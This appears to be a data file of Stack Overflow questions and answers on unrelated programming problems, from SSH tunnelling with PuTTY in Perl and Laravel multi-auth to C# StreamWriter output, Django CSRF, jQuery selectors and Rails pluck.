13629575	0	How to use SSH with PuTTY using a proxy server? <p>This is a journey that doesn't seem to have an end. Please bear with the story.</p> <p>I am wanting to write a variety of Perl programs that connect to an SSH server. The server is a Mac, the client is Windows behind an HTTP proxy. PuTTY works perfectly to connect, but executing the Perl scripts isn't ideal, for several reasons.</p> <p>I want to have an interactive (not with the user, but with the software running on the server) Perl program running on the client and the server, a la how rsync works with the -e option.</p> <p>First step, how do I connect? I use plink (from PuTTY), which has a variety of useful options... tunneling, running a series of commands, etc. From there, I can easily run commands and scripts on the server and get back the result, process the result, and then do the next command. But this is SLOW because it has to renegotiate the PuTTY/SSH connection each time. Hence the desire for an interactive approach.</p> <p>When running plink in this manner, I could interact with the plink command, but I'm having trouble with double-piping (input and output, never mind triple-piping to also get STDERR). I tried everything on <a href="http://docstore.mik.ua/orelly/perl2/prog/ch16_03.htm" rel="nofollow">http://docstore.mik.ua/orelly/perl2/prog/ch16_03.htm</a> and nothing worked. Got various errors, etc.</p> <p>Next I tried writing my own client/server programs using sockets. Worked pretty well, except for some reason each time I run the SocketServer on the server program and then connect to it (using plink to tunnel localhost to the server's port), the port closes itself off and refuses future connections. So I have to change the port every time, which seems counterproductive (probably an issue with my code, but I don't see it).</p> <p>The next step was trying Expect.pm. However, that seems to only work under Linux or CYGWIN, which I don't want to get too deep into. This needs to stay native Windows as much as possible.</p> <p>My latest is looking into Net::SSH::Perl and other SSH modules. I set up a port 22 tunnel with plink and then in CYGWIN I try:</p> <pre><code>ssh user@localhost </code></pre> <p>I enter my password and all is wonderful! Works like a champ!</p> <p>So then I try the following program (again, with the port 22 tunnel established)</p> <pre><code>use Net::SSH::Perl; my $ssh = Net::SSH::Perl-&gt;new('localhost'); $ssh-&gt;login('&lt;user&gt;','&lt;pass&gt;'); my($stdout, $stderr, $exit) = $ssh-&gt;cmd('ls -l'); while (&lt;$stdout&gt;) { print; } </code></pre> <p>(user and pass above are substituted for the real user and pass) I can see the plink tunnel opening the forwarded port, but the program returns</p> <pre><code>Permission denied at E:\Scripts\ExplorationScripts\NetSSHPerl.pl line 3 </code></pre> <p>So, this is where I am... I have many more SSH Perl modules to try, but I was wondering if anyone else had this situation. I see tons of people using PuTTY and SSH stuff, but none of them are going through a proxy (and thus NEED PuTTY). And I don't have the time or patience to mess with something like corkscrew, so please let's not go down that particular rabbit hole.</p> <p>I'm open for suggestions...</p> <p>Thanks.</p> <p>... continuing the journey... the new thing I've tried, and y'all will probably laugh at this bass-ackward solution... I tunneled port 23 through the Mac to a Windows machine on the same network running Telnet. Then, using Net::Telnet I am able to telnet to the Windows machine. Very awkward. I also wanted to be able to establish the tunnel and then kill it at the end of the program, so I added some oddball stuff. Check it out and PLEASE help me get a better solution to this.</p> <pre><code>use Net::Telnet; #establish tunnel open my $tunnel,"| plink -L 23:&lt;local IP of windows machine&gt;:23 &lt;server&gt; -pw &lt;pass&gt;"; sleep 7; #Now it's time to do the telnet boogie! my $t=new Net::Telnet ( Timeout=&gt;10, Errmode=&gt;'return',Prompt =&gt; '/&gt;$/'); #$t-&gt;output_log('telnet.log'); $t-&gt;input_log('telneti.log'); $t-&gt;open("localhost"); $t-&gt;login('&lt;user&gt;','&lt;pass&gt;'); @lines = $t-&gt;cmd("dir /b"); print @lines; $t-&gt;close(); print $tunnel "exit\n"; close $tunnel; </code></pre> <p>The $tunnel thing is the weirdness. plink will establish a terminal session, so I opened a handle to it's STDIN via the pipe. The -L establishes the tunnel. When I'm done with the telnetting, I print "exit" to plink which exits the bash session. I also use the "sleep 7" to give it enough time to establish the session. Ugh! But it seems to work moderately well.</p>
31124505	0	 <p>Putting hpaulj's answer into actual code, something like this works:</p> <pre><code>class CustomHelpFormatter(argparse.HelpFormatter): def _format_action_invocation(self, action): if not action.option_strings or action.nargs == 0: return super()._format_action_invocation(action) default = self._get_default_metavar_for_optional(action) args_string = self._format_args(action, default) return ', '.join(action.option_strings) + ' ' + args_string fmt = lambda prog: CustomHelpFormatter(prog) parser = argparse.ArgumentParser(formatter_class=fmt) </code></pre> <p>To additionally extend the default column size for help variables, add constructor to <code>CustomHelpFormatter</code>:</p> <pre><code>def __init__(self, prog): super().__init__(prog, max_help_position=40, width=80) </code></pre> <p>Seeing it in action:</p> <pre><code>usage: bk set [-h] [-p] [-s r] [-f] [-c] [-b c] [-t x y] [-bs s] [-bc c] [--crop x1 y1 x2 y2] [-g u r d l] monitor [path] positional arguments: monitor monitor number path input image path optional arguments: -h, --help show this help message and exit -p, --preview previews the changes without applying them -s, --scale r scales image by given factor -f, --fit fits the image within monitor work area -c, --cover makes the image cover whole monitor work area -b, --background c selects background color -t, --translate x y places the image at given position -bs, --border-size s selects border width -bc, --border-color c selects border size --crop x1 y1 x2 y2 selects crop area -g, --gap, --gaps u r d l keeps "border" around work area </code></pre>
17221784	0	Using a Singleton pattern to Linq to Sql Data Context <p>I have some confusion in Linq to SQL.I am searching for an actual reason why Data context class gives follwing Exception some times .</p> <p>"There is already an open data reader associated with this command which must be closed first</p> <p>Specially in multitasking environment.Most people are saying that the reason is ,Data Context is not thread Safe.All are suggesting to use DataContex as one per unit of work.</p> <p>Please refer following thread for best answer </p> <p><a href="http://stackoverflow.com/questions/4918625/linq-to-sql-datacontext-across-multiple-threads">Linq-to-SQL Data Context across multiple threads</a></p> <p>But in my case,i am using another class call "A" which is implemented in Singleton pattern.Purpose of this class is ,provide Data context object in singleton manner.I am maintaining instance of this class "A" as global instance in derived class and calling to Datacontex by using particular instance.</p> <p><strong>My question is,</strong></p> <p>Will my method call cause uncontrolled memory growth ? based on my understanding,singleton maintaining one instance as static object .If my assumption is wrong ,please give me good explanation.</p> <p><strong>Note:</strong></p> <p>Any way my method call also throws same exception.So i am sure same problem is happen in this scenario also.</p>
19353946	0	absolute position div disappers inside parrent div <p>I am trying to put simple divs and arrange them, but my child div disappearing from parent div even though I am using parent div with relative and child div with absolute positioning. I want connect_us_01 and registeration divs insideheader_block1. I am working towards responsive webdesign. Many thanks.</p> <p><a href="http://jsfiddle.net/aNzEB/" rel="nofollow">JSFiddle</a></p> <pre><code>&lt;div id="header"&gt; &lt;div id="header_block1"&gt; &lt;div id ="registeration"&gt;reg&lt;/div&gt; &lt;div id ="connect_us_01"&gt;social media&lt;/div&gt; &lt;/div&gt; &lt;div id="header_block2"&gt; &lt;div id="crown_logo"&gt;logo&lt;/div&gt; &lt;div id="nav"&gt;navigation&lt;/div&gt; &lt;div class="contact_No_01"&gt;020324234233&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <h2> css</h2> <pre><code>#header { position: relative; width: 100%; background-color: #ff6a00; } #header_block1 { position: relative; margin: 0 auto; width: 90%; background-color: pink; } #header_block2 { margin: 0 auto; width: 90%; position: relative; background-color: aqua; } /*----social media &amp; connect us block*/ #connect_us_01 { position: absolute; width: 300px; height: 50px; right: 0; background-color: blue; } #registeration { position: absolute; left: 1px; width: 200px; height: 50px; background-color: brown; } </code></pre>
8040163	0	 <p>First dataset add this SQL</p> <pre><code>Select ContryName, CountryID From Country </code></pre> <p>Assuming the name the above dataset's parameter is @country add the following SQL on the second dataset</p> <pre><code>Select RegionName, RegionID From Region Where CountryID IN( @country) </code></pre>
13003646	0	 <p>You can just use boolean clauses:</p> <pre><code>(assert (myTemp (one asd) (second jhg)) (myTemp (one asd) (second kjh)) (myTemp (one bvc) (second jhg)) (myTemp (one bvc) (second jhg) (third qwe))) (find-fact ((?p myTemp)) (or (eq ?p:one bvc) (eq ?p:third qwe)) (&lt;Fact-4&gt;) (find-fact ((?p myTemp)) (or (eq ?p:one bvc) (eq ?p:second jhg)) (&lt;Fact-1&gt;) (find-all-fact ((?p myTemp)) (or (eq ?p:one bvc) (eq ?p:second jhg)) (&lt;Fact-1&gt; &lt;Fact-3&gt; &lt;Fact-4&gt;) </code></pre>
15067139	0	 <p>This error is returned when the cell exists and there are childobjects of type link, but not with this index (3). Try to see if you can confirm that the link with index 0 exists by:</p> <pre><code>Set EditLink = Browser("Browser").Page("Page").WebTable("Emp Index").ChildItem(2,3,"Link",0) MsgBox EditLink.Exist(0) </code></pre> <p>To see where that link is placed on your page, you can use <code>EditLink.Highlight</code><br> From this point you can start debugging to see if the link with index 1, 2 and finally 3 exists.</p>
13304253	0	Can the android Emulator in eclipse can be shutdown? how? need it for testing my Alarm Manager auto start at boot <p>I dont have an actual Android phone, and i want to test Alarm, but i dont know if its the code that has error, or the emulator doesnt do the way like an actual phone in terms of booting.</p> <p>the Autostart Code is from here: <a href="http://stackoverflow.com/questions/4459058/alarm-manager-example">Alarm Manager Example</a></p> <p>The code doesnt give me error, the simple alarm manager and service is OK, but the autostart of the alarm is not working, i hope its only on the emu, wish it will work in an actual phone. The code below is from the above-mentioned thread, and it also the one that i uses.. i'd put it because maybe the code are the problems</p> <p>Manifest</p> <pre><code>&lt;uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"&gt;&lt;/uses-permission&gt; ... &lt;receiver android:name=".AutoStart"&gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.BOOT_COMPLETED"&gt;&lt;/action&gt; &lt;/intent-filter&gt; &lt;/receiver&gt; ... </code></pre> <p>And this is the on-boot trigger</p> <pre><code>package YourPackage; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class AutoStart extends BroadcastReceiver { Alarm alarm = new Alarm(); @Override public void onReceive(Context context, Intent intent) { if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) { alarm.SetAlarm(context); } } } </code></pre>
37426564	0	Laravel 5.2 Multi-Auth with API guard uses wrong table <p>I'm trying to get a multi-auth system working where Users can log in via the normal web portal, but a separate database of entities (named "robots" for example) can also log in via an API guard token driver. But no matter what I do, the setup I have is not directing my authentication guard to the correct Robot database and keeps trying to authenticate these requests as Users via tokens (which fails, because users don't have tokens). </p> <p>Can someone help me find where I've gone wrong?</p> <p>I've started by putting together a middleware group in Kernel.php:</p> <pre><code>'api' =&gt; [ 'throttle:60,1', 'auth:api', ], </code></pre> <p>This uses settings in config/auth.php</p> <pre><code>'guards' =&gt; [ 'web' =&gt; [ 'driver' =&gt; 'session', 'provider' =&gt; 'users', ], 'api' =&gt; [ 'driver' =&gt; 'token', 'provider' =&gt; 'robots', ], ], 'providers' =&gt; [ 'users' =&gt; [ 'driver' =&gt; 'eloquent', 'model' =&gt; App\User::class, ], 'robots' =&gt; [ 'driver' =&gt; 'eloquent', 'model' =&gt; App\Models\Robot::class, ], ], </code></pre> <p>The middleware gets called in routes.php</p> <pre><code>Route::group(['middleware' =&gt; 'api'], function () { Route::get('api/request', 'API\RequestController@index'); }); </code></pre> <p>It uses this model:</p> <pre><code>&lt;?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Contracts\Auth\Authenticatable; class Robots extends Authenticatable { protected $fillable = [ 'serial_number','api_token', ]; protected $guard = 'Robots'; protected $hidden = [ 'api_token', ]; } </code></pre> <p>Any ideas?</p> <p><strong>Update:</strong> on further inspection, it appears that most of the settings in auth.php are not applying properly - is there some way I can force these settings to take effect? </p>
19614228	0	 <p><code>StreamWriter</code> writes UTF8 text characters to a stream.<br> You're writing <code>plaintext.ToString()</code> as text for the ciphertext.</p> <p>This returns <code>"System.Byte[]"</code>, which does not translate into 16 bytes of UTF8.</p>
40427357	0	StreamWriter not writing all characters <p>I have this bit of code run when people close the game to save all their currently selected pets (this is for school don't worry about how I named it "Squirtle", no copyright problems here). The code in question is:</p> <pre><code>using (StreamWriter sw = File.CreateText(@"..\..\pets.txt")) { sw.AutoFlush = true; foreach (Pet p in petList) { sw.Write(p.PetID + ' '); sw.Write(p.Name + ' '); sw.Write(p.HP + ' '); sw.Write(p.Type + ' '); sw.Write(p.Level + ' ' ); sw.Write(p.Rarity + ' '); sw.WriteLine(p.Speed); } } </code></pre> <p>the commas were spaces and I just added the autoflush to try and fix the problem, but basically no matter how many times I run it, the first two, next two, and last 3 pieces of data have no spaces between them, example: 32SQUIRTLE 77AQUATIC 41930. this happens every time I run it and am wondering if anyone knows of why it's doing this? I can use any delimiter also if space and comma are notorious with StreamWriter or something.</p>
35886874	0	 <p>So you just want to exclude files containing <code>backup</code> in their names? This should work:</p> <pre><code>@echo off setlocal enabledelayedexpansion for /r "C:\Users\b00m49\Desktop\LSPTEST" %%a in (K_E*.dwg) do ( set filename=%%a if "!filename:backup=!"=="!filename!" ( rem start /wait "C:\Program Files\Autodesk\Autocad 2013\acad.exe" "%%a" /b "C:\Users\b00m49\Desktop\LSPTEST\expSQM.scr" ) ) pause </code></pre>
10115144	0	 <p>In the penultimate line when you create $query_AddTestimonial, the string you're creating isn't putting the php variables in because you're not telling it that they're variables. You can use the php variables like this:</p> <pre><code>$query_AddTestimonial = "INSERT into testimonials (company,job_function,location,overall,project_details,pros,cons,sr_mgmt,submitted_by,class,school,anonymous) VALUES ('{$company}','{$jobfunc}','{$location}','{$overall}','{$detail}','{$pros}','{$cons}','{$sr_mgmt}','{$submitted_by}','{$class}','{$school}','{$anonymous}')"; </code></pre>
30901183	1	Django @csrf_exempt decorator not working <p>I'm using DJango 1.8 on a linode server, and have the following view:</p> <pre><code>import json from django.http import HttpResponse from django.shortcuts import render from django.views.decorators.csrf import csrf_exempt def home_view(request): r = { 'response': 'OK', 'data': None } return HttpResponse(json.dumps(r), content_type = "application/json") @csrf_exempt def ping(request): r = { 'response': 'OK', 'data': 'ping' } return HttpResponse(json.dumps(r), content_type = "application/json") </code></pre> <p>My urls look like this:</p> <pre><code>urlpatterns = [ url(r'^django/admin/', include(admin.site.urls)), url(r'^django/$', home_view), url(r'^django/ping/$', ping), url(r'^django/echo/$', echo), ] </code></pre> <p>If I go to my linode site at <code>http://mylinodesite/django/ping/</code> </p> <p>I get:</p> <p><code>{"data": "ping", "response": "OK"}</code></p> <p>Great. If I use jquery and do a </p> <p><code>$.get("http://mylinodesite/django/ping/")</code></p> <p>I get </p> <p><code>No 'Access-Control-Allow-Origin' header is present on the requested resource.</code></p> <p>From what I understand the @csrf_exempt is supposed to get rid of the CSRF header stuff. What gives?</p>
8059012	0	jquery $(this).prev(".class") not working <p>Given this simple setup</p> <pre><code>&lt;div class="parent"&gt; &lt;div class="child"&gt;I'm spoiled&lt;/div&gt; &lt;/div&gt; &lt;div class="aunt"&gt;&lt;/div&gt; &lt;div class="uncle"&gt;&lt;/div&gt; &lt;div class="parent"&gt; &lt;div class="child"&gt;I'm spoiled&lt;/div&gt; &lt;/div&gt; &lt;div class="aunt"&gt;&lt;/div&gt; &lt;div class="uncle"&gt;&lt;/div&gt; </code></pre> <p>When I detect a click on class "uncle", I want to get the sibling of the closest previous ".parent". I should be able to do</p> <pre><code>$( this ).prev( ".parent" ).children( ".child" ).text(); </code></pre> <p>...but this returns a blank. </p> <p>If I do</p> <pre><code>$( this ).prev().prev().children( ".child" ).text(); </code></pre> <p>...this returns the expected result: "I'm spoiled"</p> <p>Is there some limitations to the use of prev( [selector] ) I'm missing?</p> <p>[UPDATE]</p> <p>.prevAll() returns all previuos classes, so the result of </p> <pre><code>$( this ).prevAll( ".parent" ).children( ".child" ).text(); </code></pre> <p>Is "I'm spoiledI'm spoiled" if I click on the second ".uncle", which is not the result I want.</p> <p>I just need the immediate closest previous one.</p>
31851349	0	map(&:id) work but not pluck(:id) <p>In part of my code I need to grab users's id but <code>pluck</code> doesn't grab them. Only <code>map(&amp;:id)</code> can do it. I was wondering why.</p> <p>I've wrote a quick and dirty block of code to find what's happen</p> <pre><code> def remove_users user_ids p users_to_remove.class users_to_remove = self.users.where(id: user_ids) if users_to_remove.present? self.users -= users_to_remove self.save p users_to_remove.class p users_to_remove Rails::logger.info "\n#{users_to_remove}\n" users_to_remove_map = users_to_remove.map(&amp;:id) p users_to_remove_map Rails::logger.info "\nmap id: #{users_to_remove_map}\n" users_to_remove_pluck = users_to_remove.pluck(:id) p users_to_remove_pluck Rails::logger.info "\npluck id: #{users_to_remove_pluck}\n" #... end self.user_ids end </code></pre> <p>Who return in my test.log </p> <pre><code>#&lt;User::ActiveRecord_AssociationRelation:0x007fb0f9c64da8&gt; map id: [144004] (0.3ms) SELECT "users"."id" FROM "users" INNER JOIN "groups_users" ON "users"."id" = "groups_users"."user_id" WHERE "groups_users"."group_id" = $1 AND "users"."id" IN (144004, 144005) [["group_id", 235819]] pluck id: [] </code></pre> <p>And in my test</p> <pre><code>User::ActiveRecord_AssociationRelation User::ActiveRecord_AssociationRelation #&lt;ActiveRecord::AssociationRelation [#&lt;User id: 144004, created_at: "2015-08-06 08:55:11", updated_at: "2015-08-06 08:55:11", email: "user_2@test.com", token: "rpf5fqf5bs1ofme6aq66fwtcz", reset_password_token: nil, sign_in_count: 0, current_sign_in_at: nil, last_sign_in_at: nil, current_sign_in_ip: nil, last_sign_in_ip: nil, disabled: false, first_name: "John_2", last_name: "Rivers_4", is_owner: false, organisation_id: 235826, encrypted_password: "$2a$04$8ev1j...f6ICL.ezS....", reset_password_sent_at: nil, default_language: nil, uid: nil, api_key: "rmhh...noyn"&gt;]&gt; [144004] [] </code></pre> <p>The strange thing is. I have user with id. <code>map</code> can get them. <code>pluck</code> not.</p> <p>I don't understand sql log also. How can I get <code>map id</code> result without any select in sql log? Caching ?</p>
40934859	0	 <p>I was using IntelliJ with JBoss EAP and it failed like your error (Access Denied). So I turned off my virus protection (MSE), problem was solved.</p>
14368301	0	 <p>You should have a look at this great module, <a href="https://github.com/caolan/async">async</a> which simplifies async tasks like this. You can use queue, simple example:</p> <pre><code>N = # of simultaneous tasks var q = async.queue(function (task, callback) { somehttprequestfunction(task.url, function(){ callback(); } }, N); q.drain = function() { console.log('all items have been processed'); } for(var i = 0; i &lt; 2000; i++){ q.push({url:"http://somewebsite.com/"+i+"/feed/"}); } </code></pre> <p>It will have a window of ongoing actions and the tasks room will be available for a future task if you only invoke the callback function. Difference is, your code now opens 2000 connections immidiately and obviously the failure rate is high. Limiting it to a reasonable value, 5,10,20 (depends on site and connection) will result in a better sucess rate. If a request fails, you can always try it again, or push the task to another async queue for another trial. The key point is to invoke callback() in queue function, so that a room will be available when it is done.</p>
33010859	0	Importing data into an existing database in neo4j <p>I am using <code>neo4j-import</code> to import millions of nodes and relationship. </p> <p>Is there any option to create relationships in to the existing database. I want to import the relationship using <code>neo4j-import</code> because I have millions of relationships. </p> <p>Your cooperation is truly appreciated! Thanks</p>
1241820	0	 <p>I do exactly this using P/Invoke to talk to the <a href="http://msdn.microsoft.com/en-us/library/ms646302(VS.85).aspx" rel="nofollow noreferrer"><code>GetLastInputInfo</code></a> API.</p> <p><strong>Edit</strong>: Here's a complete VB.Net program to display the number of milliseconds since the last input event, system-wide. It sleeps for a second before getting the information, so it reports a time of around a thousand milliseconds, assuming you use the mouse or keyboard to run it. :-)</p> <pre><code>Imports System.Runtime.InteropServices Module Module1 &lt;StructLayout(LayoutKind.Sequential)&gt; _ Public Structure LASTINPUTINFO Public Shared ReadOnly SizeOf As Integer = Marshal.SizeOf(GetType(LASTINPUTINFO)) &lt;MarshalAs(UnmanagedType.U4)&gt; _ Public cbSize As Integer &lt;MarshalAs(UnmanagedType.U4)&gt; _ Public dwTime As Integer End Structure &lt;DllImport("user32.dll")&gt; _ Public Function GetLastInputInfo(ByRef plii As LASTINPUTINFO) As Boolean End Function Sub Main() Dim lii As New LASTINPUTINFO() lii.cbSize = LASTINPUTINFO.SizeOf lii.dwTime = 0 System.Threading.Thread.Sleep(1000) GetLastInputInfo(lii) MsgBox((Environment.TickCount - lii.dwTime).ToString) End Sub End Module </code></pre>
39160621	0	apply css to a html element after finding some specific class name avaialble <p>I am trying to apply css to a div(.references) after finding a specific class name(.overview) available in anywhere in that document. its not working .references div not inside .overview div</p> <pre><code>if ($('div').hasClass('overview')) { $('.references').css("display", "none !important"); } </code></pre> <p>Please help</p>
34897067	0	How to get input data from an external excel file into a feature file in cucumber (JAVA)...? <p>Is there a way to get input data from an excel file in gherkin into a feature file (Cucumber) specially in JAVA...? For .Net there is a way to specify the location of the excel file in the feature file using @source tag. Is there any similar way for JAVA as well...?</p> <p>For an example,</p> <p>Feature: User provides details to sign in</p> <p>Scenario Outline: Provide details</p> <pre><code>Given user navigates to 'https://world.com/signin' And user waits for short And user fills 'first_name' with '&lt;Firstname&gt;' And user waits for short And user fills 'email' with '&lt;Email&gt;' </code></pre> <p>How to provide the Firstname and Email from the excel file in feature file (JAVA)...? </p>
14341264	0	 <p>I had the exact same issue - when I stopped and restarted the Glassfish server, the "View Endpoint" link appeared. Not sure if that will work for you, but it did the trick for me.</p>
20849440	0	 <p>Removing following seems to work fine: </p> <pre><code>#rslider-animate .animating { -webkit-perspective: 1000px; -moz-perspective: 1000px; -ms-perspective: 1000px; -o-perspective: 1000px; perspective: 1000px; } </code></pre> <p>Check here <a href="http://jsfiddle.net/JUvnm/3/" rel="nofollow">http://jsfiddle.net/JUvnm/3/</a>.</p>
35573208	0	 <p>Surprised!</p> <p>Its getting <code>text/plain</code> mime for the CSV, that was the cause of the issue.</p> <p>So to fix this I just found which extension is responsible for <code>text/plain</code> and I found <strong>txt</strong> so i just updated my rules:</p> <pre class="lang-php prettyprint-override"><code>return [ 'sheet' =&gt; 'required|mimes:csv,txt' ]; </code></pre>
25318056	0	How do I make SSHJ initiate outbound SFTP on a non-standard port? <p>I'm doing this and it works fine but I'd like to be able to hit an sshd on a port other than 22.</p> <pre><code> final SSHClient ssh = new SSHClient(); ssh.addHostKeyVerifier( SFTP_KEY_FINGERPRINT ); ssh.connect( SFTP_SERVER_HOSTNAME ); try { ssh.authPassword( SFTP_USER , SFTP_PASSWORD ); final String src = fileToFtp.getFileName().toString(); final SFTPClient sftp = ssh.newSFTPClient(); try { sftp.put(new FileSystemFile(src), "/"); success = true; } finally { sftp.close(); } } finally { ssh.disconnect(); } </code></pre>
30195625	0	 <p>It removes all the whitespace (replaces all whitespace matches with empty strings). </p> <p>A wonderful regex tutorial is available at <a href="http://www.regular-expressions.info/">regular-expressions.info</a>. A citation <a href="http://www.regular-expressions.info/unicode.html">from this site</a>: </p> <blockquote> <p>\p{Z} or \p{Separator}: any kind of whitespace or invisible separator. </p> </blockquote>
10137380	0	 <p>Simply use <code>echo form_dropdown('school', $school_list, set_value('school', @$school-&gt;id));</code></p> <p>Then you know by the <code>@</code> that value may be empty sometimes, and it supresses errors if that value is missing.</p> <p>Doing this will send a <code>NULL</code> value to the 3rd parameter if you have no id, and it will instead select the first <code>&lt;option&gt;</code> by default.</p>
14100282	0	 <p>Two ways to do this:</p> <p>One way, would be to maintain a list of pointers to the textboxes &amp; labels as you create them:</p> <p>In your class definition, add a private list variable:</p> <pre><code>public partial class Form1 : Form { private List&lt;TextBox&gt; generatedTextboxes = new List&lt;TextBox&gt;(); private List&lt;Label&gt; generatedLabels = new List&lt;Label&gt;(); .... </code></pre> <p>Now, as you create them, add them to the list:</p> <pre><code>//Generate labels and text boxes for (int i = 1; i &lt;= inputNumber; i++) { //Create a new label and text box Label labelInput = new Label(); TextBox textBoxNewInput = new TextBox(); //Keep track of the references generatedTextboxes.Add(textBoxNewInput); generatedLabels.Add(labelInput ); .... </code></pre> <p>Now, when you wish to remove them:</p> <pre><code>for (int i = 1; i &lt;= generatedTextboxes.Count; i++) { this.Controls.Remove(generatedTextboxes[i]); this.Controls.Remove(generatedLabels[i]); } generatedTextboxes.Clear(); generatedLabels.Clear(); </code></pre> <p>Another way, would be to put a <code>Panel</code> control on your form, and add the new textboxes/labels onto that, instead of directly onto the main form. Then, do <code>panel1.Controls.Clear()</code> - to just clear the controls off the panel.</p>
33573249	0	 <pre><code>import java.util.*; import java.lang.*; import java.io.*; /* Name of the class has to be "Main" only if the class is public. */ class Ideone { public static void main (String[] args) throws java.lang.Exception { String string = "1-50 of 500+"; String[] stringArray = string.split("\\s+"); for (String str : stringArray) { System.out.println(str); } } } </code></pre>
18110124	0	Carousel slide effect with ng hide/show and ng-animate? <p>I have a slider type carousel with two section containers that can slide left and right. In my developed version I have images inside one section container. The problem I'm experiencing is that because my images from the server take a while to load I'm finding that when the user clicks the back button the page is being added to the DOM again (due to ng switch) and is having to reload the images.</p> <p>My question: Is there a way to use ngif or hide/show with this instead so that the page is simply setting display: none when hidden so that the page containers not currently shown are not removed from the DOM?</p> <pre><code> &lt;!--ANIMATE--&gt; &lt;div ng-animate="{enter: 'enter', leave: 'leave';}" ng-switch on="par.selection"&gt; &lt;!--PAGE1--&gt; &lt;div class="page page1" ng-switch-when="settings"&gt; &lt;b&gt;page 1&lt;/b&gt;&lt;br&gt;&lt;br&gt; &lt;button ng-click="par.selection = 'home'; go('front');" &gt;go page 2&lt;/button&gt; &lt;/div&gt; &lt;!--PAGE2--&gt; &lt;div class="page page2" ng-switch-when="home"&gt; &lt;b&gt;page 2&lt;/b&gt;&lt;br&gt;&lt;br&gt; &lt;button ng-click="par.selection = 'settings'; go('back');" &gt;go page 1&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Plunkr here: <strong><a href="http://plnkr.co/edit/Vvvsp1s45xvejRJt7cD0?p=preview" rel="nofollow">LINK</a></strong></p> <p>I made the above example from a blog I visited a phew days ago which I can no longer seem to find but the above example works using the ng-switch method.</p>
7584662	0	Gsoap undefined references <p>I'm trying to use and web service with gsoap. I've already generated all *.h and *.cpp using wsdl2h and soapcpp2, included all libraries, at least I think so, but when I build the project it gives me the message of undefined references to a lot of methods. The thing is all methods are declared in soapH.h (the prototype) and in soapC.cpp (the implementation).</p> <p>Any help will be appreciated.</p>
559018	0	 <p>I'm not sure how you'd get the "shared" LineStrings from your shapes. Secondly, once you reduce a "subset" of the shape since your endpoints may move from the original and you will not be able to make them match up after reduction.</p> <p>The nutshell of what I would do is basically use boolean operations to play with the reduced shapes.</p> <p>First, do what you do, namely create a temporary table of reduced shapes (called <code>#ReducedShapes</code>). </p> <p>Then, I would create a second temp table and find the areas of overlap (using <code>STIntersection</code>) between all shapes. In this table, I would basically have columns <code>naam1</code>, <code>naam2</code> and <code>intsec</code>, the last one being of type shape. Something like (untested):</p> <pre><code>INSERT INTO #IntSecs(naam1, naam2, intsec) SELECT s1.naam, s2.naam, s1.naam.STIntersection(s2.naam) FROM #ReducedShapes s1, #ReducedShapes s2 WHERE s1.naam.STIntersection(s2.naam) IS NOT NULL </code></pre> <p>This gets you a list of where pairs of shapes overlap. In fact, you have two rows for each overlap. For example, if A and B overlap you'd have and . I would make a pass and delete one of the two for each occurence.</p> <p>Lastly, for each overlap, I would subtract (<code>STDifference</code>) the intersection <strong>from only one of the two</strong> regions in the pair from the <code>#ReducedShapes</code> table. Imagine you have two squares A and B, half-overlapping. The operation would involve A.STDifference(B) meaning you keep all of B and half of A. I would insert the modified shapes into a third table (say <code>#ModifiedShapes</code>).</p> <p>Two problems: a) as you can see from your "orange" and "blue" shapes, they did not reduce similarly, so you'll get one of two possible reductions depending on how you deal with who "wins". b) a more complicated form of the problem is that, depending on the complexity of the initial shapes, you may get overlap between three or more regions. You'll have to determine your own way to establish which one shape "wins" in that intersection, based on your particular needs. It's not clear if there are constraints. Could be as simple as arbitrarily picking a winner by ordering, or more complicated since accuracy is important. </p> <p>The above concept unfortunately does not address the issue of gaps. This one's a little more complicated and I am not 100% sure how to resolve it. But, if you create a third table that subtracts (<code>STDifference</code> again) all the modified shapes <code>#ModifiedShapes</code> from all the original shapes in <code>#Shapes</code> (testing for overlap before actually subtracting, of course), you'd be left with the remainder shapes in the gaps. You'd want to aggregate the adjoining shapes and assign a "winning color", possibly merging it back in with the related shape.</p> <p>This answer is long and I will leave it like this. I may be barking up the wrong tree. Based on your feedback/questions, I would add to the post.</p>
1185946	0	 <p>i do not know which mock implementation you use it. But <a href="http://www.easymock.org" rel="nofollow noreferrer">EasyMock</a> has an extension available at the EasyMock home page that generate mock Objects for classes. See your mock implementation whether it does not support mock Objects for classes.</p> <p>regards,</p>
38884806	0	 <p>The problem is in <a href="http://pythonhosted.org/pyparsing/" rel="nofollow">pyparsing</a>:</p> <blockquote> <p>The pyparsing module is an alternative approach to creating and executing simple grammars, vs. the traditional lex/yacc approach, or the use of regular expressions. With pyparsing, you don't need to learn a new syntax for defining grammars or matching expressions - the parsing module provides a library of classes that you use to construct the grammar directly in Python.</p> </blockquote> <p>In order to "construct the grammar directly in Python", pyparsing needs to read the source file (in this case a matplotlib source file) where the grammar is defined. In what would usually just be a bit of harmless extra work, pyparsing is reading not just the matplotlib source file but everything in the stack at the point the grammar is defined, all the way down to the source file where you have your <code>import matplotlib</code>. When it reaches your source file it chokes, because your file indeed is not in UTF-8; 0x96 is the Windows-1252 (and/or Latin-1) encoding for the en dash. This issue (reading too much of the stack) has <a href="https://sourceforge.net/p/pyparsing/code/415/" rel="nofollow">already been fixed</a> by <a href="http://stackoverflow.com/users/165216/paul-mcguire">the author of pyparsing</a> so the fix should be in the next <a href="https://pypi.python.org/pypi/pyparsing" rel="nofollow">release of pyparsing</a> (probably 2.1.8).</p> <p>By the way, matplotlib is defining a pyparsing grammar in order to be able to read fontconfig files, which are a way of configuring fonts used mainly on Linux. So on Windows pyparsing is probably not even required to use matplotlib!</p>
